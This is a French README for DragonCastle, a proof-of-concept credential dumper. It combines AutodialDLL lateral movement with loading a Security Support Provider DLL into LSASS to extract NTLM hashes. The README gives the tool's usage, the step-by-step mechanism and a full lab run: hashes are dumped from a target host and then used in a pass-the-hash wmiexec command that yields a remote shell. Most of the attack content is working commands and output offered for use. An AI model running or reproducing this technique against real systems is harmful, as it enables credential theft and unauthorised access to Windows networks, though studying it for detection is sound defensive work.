DragonCastle

Un PoC qui combine la technique de mouvement latéral AutodialDLL et SSP pour extraire les hachages NTLM du processus LSASS.

Description

Télécharge une DLL sur la machine cible. Ensuite, elle active le registre distant pour modifier l'entrée AutodialDLL et démarrer/redémarrer le service BITS. Svchosts chargerait notre DLL, remettrait AutodialDLL à sa valeur par défaut et effectuerait une requête RPC pour forcer LSASS à charger la même DLL en tant que fournisseur de support de sécurité (SSP). Une fois la DLL chargée par LSASS, elle recherche dans la mémoire du processus pour extraire les hachages NTLM et la clé/IV.

La fonction DLLMain retourne toujours False afin que les processus ne la conservent pas.

Mises en garde

Cela fonctionne uniquement lorsque RunAsPPL n'est pas activé. De plus, je n'ai ajouté le support du déchiffrement 3DES que par flemme, mais il devrait être facile d'ajouter du code pour AES. Pour la même raison, je n'ai implémenté le support que pour les versions Windows suivantes :

Version	Support
Windows 10 version 21H2
Windows 10 version 21H1	Implémenté
Windows 10 version 20H2	Implémenté
Windows 10 version 20H1 (2004)	Implémenté
Windows 10 version 1909	Implémenté
Windows 10 version 1903	Implémenté
Windows 10 version 1809	Implémenté
Windows 10 version 1803	Implémenté
Windows 10 version 1709	Implémenté
Windows 10 version 1703	Implémenté
Windows 10 version 1607	Implémenté
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

Les signatures/décalages/structures ont été extraits de Mimikatz. Si vous souhaitez ajouter une nouvelle version, vérifiez simplement la fonctionnalité sekurlsa dans Mimikatz.

Utilisation

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

Exemple

Serveur Windows sur 192.168.56.20 et contrôleur de domaine sur 192.168.56.10 :

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------